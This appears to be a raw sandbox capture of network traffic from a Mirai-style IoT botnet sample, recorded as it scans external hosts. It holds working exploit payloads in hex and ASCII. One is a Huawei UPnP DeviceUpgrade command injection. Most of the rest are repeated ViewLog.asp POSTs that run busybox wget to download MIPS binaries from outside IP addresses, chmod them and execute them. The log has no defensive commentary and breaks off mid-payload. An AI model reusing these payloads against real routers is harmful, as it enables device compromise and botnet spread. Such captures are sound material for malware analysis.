Nov 23, 2023 05:17:16.838521004 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.13	34478	95.86.126.25	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:01.111855984 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.13	36498	94.131.11.195	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:01.292458057 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.13	38562	31.136.150.17	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:01.297252893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:01.862576962 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:03.014563084 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:05.414551973 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:10.022615910 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.238507032 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:37.926443100 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:14.790352106 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.13	34996	85.214.214.154	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:02.099838972 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:02.325082064 CET	552	IN	HTTP/1.1 401 X-Content-Type-Options: nosniff X-XSS-Protection: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY Content-Length: 193 Date: Thu, 23 Nov 2023 04:16:02 GMT Keep-Alive: timeout=60 Connection: keep-alive Data Raw: 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 72 65 71 75 69 72 65 64 2e 20 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 61 20 58 2d 41 50 49 2d 4b 45 59 20 69 6e 20 72 65 71 75 65 73 74 20 68 65 61 64 65 72 2e 0a 54 68 69 73 20 69 73 20 66 6f 75 6e 64 20 69 6e 20 53 65 74 74 69 6e 67 73 20 2d 3e 20 41 63 63 6f 75 6e 74 20 53 65 74 74 69 6e 67 73 20 2d 3e 20 41 50 49 20 4b 65 79 0a 41 6c 74 65 72 6e 61 74 69 76 6c 79 20 79 6f 75 20 63 61 6e 20 64 69 73 61 62 6c 65 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 69 66 20 74 68 69 73 20 69 73 20 75 6e 65 78 70 65 63 74 65 64 Data Ascii: Authentication required. Please provide a X-API-KEY in request header.This is found in Settings -> Account Settings -> API KeyAlternativly you can disable authentication if this is unexpected

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.13	53180	62.29.84.118	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:02.117760897 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.13	52618	31.136.163.18	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:02.282798052 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:02.854589939 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:03.974555969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:06.438555002 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:11.046636105 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:20.006511927 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:37.926441908 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:14.790385962 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.13	36928	94.121.151.148	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:02.320801973 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.13	55190	94.122.0.231	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:03.785188913 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.13	59942	31.136.97.151	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:03.969141006 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:04.550684929 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * 